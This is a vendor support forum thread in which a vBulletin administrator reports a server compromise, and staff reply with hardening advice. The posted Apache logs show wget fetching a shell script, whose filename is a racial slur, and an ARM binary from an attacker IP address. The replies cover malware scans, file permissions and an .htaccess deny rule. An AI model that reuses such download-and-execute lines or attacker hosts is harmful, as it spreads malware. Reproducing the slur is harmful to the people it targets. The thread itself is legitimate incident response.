Announcement

Collapse
No announcement yet.

Forum was attacked despite of recent version and security patch.

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • Forum was attacked despite of recent version and security patch.

    Forum owners have recently received the message from abuse service of the provider that server was complained by outgoing requests of a malicious nature. It is solely vBulletin 5.6.1(2) version on it with recently installed last Security Patch. There were no any other software on the server - Apache, PHP 7.4, mySQL 5.7.

    Logs discovering was bring suspicious errors of such nature which happened the same time when provider has informed server owner:
    HTML Code:
    AH02430: Response header 'Location' value of 'https://FORUM/showthread.php/9835-\
    [email protected]=0-B5?;%3EE%3E45-%10;5:[email protected][email protected]:[email protected];O-?%3E-02-%3C0O-2018-3%3E40?
    s=044299ef42be6b32d22f3dbb56ae4a52&p=355449' contains invalid characters, aborting request
    We have finally migrated to the new test server with the full new software installed and started to ban IP addresses which are attacking server further.
    Software is fully licensed, installed only on a domain which was licensed and kept just in one hands since first licence (never shared with someone else). Server had just one permanent Administrator, no one else had authorized keys.

    Logs show a moment of attack were successful, just after the message type I have posted above. Let me share more code of that moment:
    HTML Code:
    AH02430: Response header 'Location' value of 'https://FORUM/showthread.php/9686-\x1f>-
    @5:5-/=F7K-2-=>[email protected]?s=acf6096e64162c1d0a3258e78d813d79&p=351067'
    contains invalid characters, aborting request
    --2020-08-15 07:39:24-- http://45.10.24.197/wgetnigger.sh
    Connecting to 45.10.24.197:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 1827 (1.8K) [text/x-sh]
    Saving to: 'wgetnigger.sh'
    
    0K . 100% 164M=0s
    
    2020-08-15 07:39:25 (164 MB/s) - 'wgetnigger.sh' saved [1827/1827]
    
    chmod: invalid mode: 'x'
    Try 'chmod --help' for more information.
    --2020-08-15 07:39:25-- http://45.10.24.197/security/more.arm
    Connecting to 45.10.24.197:80... connected.
    HTTP request sent, awaiting response.
    .. 200 OK
    Length: 76784 (75K)
    Saving to: 'more.arm'
    
    0K .......... .......... .......... .......... .......... 66% 821K 0s
    50K .......... .......... .... 100% 22.1M=0.06s
    
    2020-08-15 07:39:25 (1.18 MB/s) - 'more.arm' saved [76784/76784]
    So looks like attackers were able to load PHP file into attachments and another virus file in /tmp folder. And they have used PHP file as a bridge to virus shell file in /tmp folder running it.

    I would like to ask vBulletin respected development team what as Administrator could I do to prevent in the future the same tries to attack server.
    The latest licensed 5.6.2 version with recent Security 5.6.2 patch was installed. mySQL 8.0.21, PHP 7.4.3, Apache 2.4.41 were installed on the server.
    What do you recommend to protect a server from being attacked in the future?

    Appreciate your support and wish to your team success and new excellent vBulletin releases.
    Last edited by vlnm.2035; Tue 18 Aug '20, 2:27am.

  • #2
    Visit any free scanning website then run a malware scan test for your website. If there are still malicious files, the scan will tell you where they exist on the server. after the website is cleaned you can install a fresh vbulletin. The scan is also important to see if your website has been blacklisted by search engines or other sotes because of the malware.

    Also consider subscribing to a firewall service that can block certain countries known to be the origin of such malware.

    Comment


    • #3
      This appears to be an old vBulletin 4 attack. I get an invalid URL on my vBulletin 5 installation with the URL above. There is no showthread.php in vBulletin 5 root directory. So if this exists on your server, it should be deleted.

      An Online scanner wouldn't really be able to scan your site entirely. It can only look for known file names. You can check for improper files using the Suspect File Diagnostic tool. This works in the opposite way and starts with a list of known vBulletin 5 files and reports those files and directories that don't match. You will have to manually check three files for suspicious code (or replace them). Those are /config.php, /.htaccess, and /core/includes/config.php. By the very nature of these files, we cannot know their content when your download package is created.


      File Cleanup

      Often when we refactor functionality within the system, it requires the removal of files that become obsolete. Due to the upgrade process, these files can build up on your server. In addition to this, each version includes its own set of javascript files with unique names. While these files shouldn't cause issues, they will take up space on your server. We recommend deleting these obsolete files from your server in order to maintain a clean file set. This requires a few steps to complete.

      1. Delete rollup javascript files that do not include your version number in the file name. These will not appear in the Suspect File Version diagnostic.

      2. Use the Suspect File Version tool in the AdminCP to delete all obsolete PHP files.
      1. In the AdminCP go to Maintenance -> Diagnostics.
      2. Run the Suspect File Versions tool.
      3. It will scan the vBulletin directories and list all files not part of vBulletin.
      4. Review these files to make sure they aren't part of a customization. If they aren't needed, then delete them with your SFTP client.
      Last edited by Wayne Luke; Tue 18 Aug '20, 9:22am.
      Translations provided by Google.

      Wayne Luke
      The Rabid Badger - a vBulletin Cloud demonstration site.
      vBulletin 5 API

      Comment


      • #4
        Originally posted by Mohammed Abu Risha View Post
        Visit any free scanning website then run a malware scan test for your website. If there are still malicious files, the scan will tell you where they exist on the server. after the website is cleaned you can install a fresh vbulletin. The scan is also important to see if your website has been blacklisted by search engines or other sotes because of the malware.

        Also consider subscribing to a firewall service that can block certain countries known to be the origin of such malware.
        Thank you for your comment and recommendations you have provided. The installation is clear, no any other files present in file system. As first solution I have blocked a wide range of IP addresses from subnets of where attackers come from.

        Comment


        • #5
          Originally posted by Wayne Luke View Post
          This appears to be an old vBulletin 4 attack. I get an invalid URL on my vBulletin 5 installation with the URL above. There is no showthread.php in vBulletin 5 root directory. So if this exists on your server, it should be deleted.

          An Online scanner wouldn't really be able to scan your site entirely. It can only look for known file names. You can check for improper files using the Suspect File Diagnostic tool. This works in the opposite way and starts with a list of known vBulletin 5 files and reports those files and directories that don't match. You will have to manually check three files for suspicious code (or replace them). Those are /config.php, /.htaccess, and /core/includes/config.php. By the very nature of these files, we cannot know their content when your download package is created.

          Thank you for your prompt response and the detail answer.

          I have posted here because absolutely clear for me that installation doesn't have any other files besides of vBulletin files. Installation process provides a tool which helps to find files or folders which are foreigner for recent vBulletin release. Of course there are no any other files - just files and folders vBulletin has provided.

          The fact is that Forum was hacked. I don't know if the weak link in this case is vBulletin or Apache. However while hackers used "old vBulletin 4 attack" model, looks like vBulletin could think about additional protection for such type of attacks.

          Comment


          • #6
            Did you have that .sh file on your server? If not, then the system protected itself.

            Even then it would need some sort of wrapper to be run as the default vBulletin .htaccess tells Apache not to serve .sh files. Specifically these lines:
            Code:
            #don't allow some files that shouldn't really be present to be directly accessed.
            #note that attachments should never be directly accessed by the webserver because
            #we have permissions on the that are checked in the PHP code.
            <FilesMatch "(^#.*#|\.(bak|config|dist|inc|ini|log|gz|tar|zip|sh|sql|sw[op]|md)|~)$">
            Require all denied
            </FilesMatch>
            As a series of web scripts run under PHP, there is a limit to what we can do but we try to do as much as possible. Making it so that Apache cannot write to the file system in general would be a good start. This site does not allow the web server to write to the vBulletin directories. On most servers this is CHMOD 444.
            Translations provided by Google.

            Wayne Luke
            The Rabid Badger - a vBulletin Cloud demonstration site.
            vBulletin 5 API

            Comment


            • #7
              Originally posted by Wayne Luke View Post
              Did you have that .sh file on your server? If not, then the system protected itself.

              ...
              [/code]

              As a series of web scripts run under PHP, there is a limit to what we can do but we try to do as much as possible.
              HTML Code:
              Did you have that .sh file on your server? If not, then the system protected itself.
              Yes, as soon as I have received message from provider I have found that .sh shell script (named as in error log) in /tmp folder (systemd-private-....-apache2.service) where vBulletin/Apache stores temp files while uploading.

              Comment


              • #8
                Originally posted by Wayne Luke View Post
                Did you have that .sh file on your server? If not, then the system protected itself.

                Even then it would need some sort of wrapper to be run as the default vBulletin .htaccess tells Apache not to serve .sh files. Specifically these lines:
                It is not helps a lot because they have uploaded somehow php file which had included link to .sh file in /tmp.

                Comment


                • #9
                  Originally posted by Wayne Luke View Post
                  Making it so that Apache cannot write to the file system in general would be a good start. This site does not allow the web server to write to the vBulletin directories. On most servers this is CHMOD 444..
                  It would be excellent solution. Thank you for thinking about it.

                  Comment


                  • #10
                    Most likely scenario is that the exploit existed before you patched your site. I don't know how to diagnose that. Though access should be logged.
                    Translations provided by Google.

                    Wayne Luke
                    The Rabid Badger - a vBulletin Cloud demonstration site.
                    vBulletin 5 API

                    Comment


                    • #11
                      Originally posted by Wayne Luke View Post
                      Making it so that Apache cannot write to the file system in general would be a good start. This site does not allow the web server to write to the vBulletin directories. On most servers this is CHMOD 444.
                      On that installation all files (images) where stored on a disk. After this issue happened I migrated it completely into DB, so now indeed Forum doesn't need to write something (beside of tmp files!!!) on file system.

                      I don't know how they putted php into file system. And if it was engaged with force "old vBulletin v4 attack". Logs show hacking happens just after such attempts. But probably they tried 2 ways separately.

                      Comment


                      • #12
                        Originally posted by Wayne Luke View Post
                        Most likely scenario is that the exploit existed before you patched your site. I don't know how to diagnose that. Though access should be logged.
                        I have described it additional today and I think that you could be right. However, it was for sure after last 5.6.1 version was installed because during installation there were no foreign files found.

                        Comment

                        Related Topics

                        Collapse

                        Working...
                        X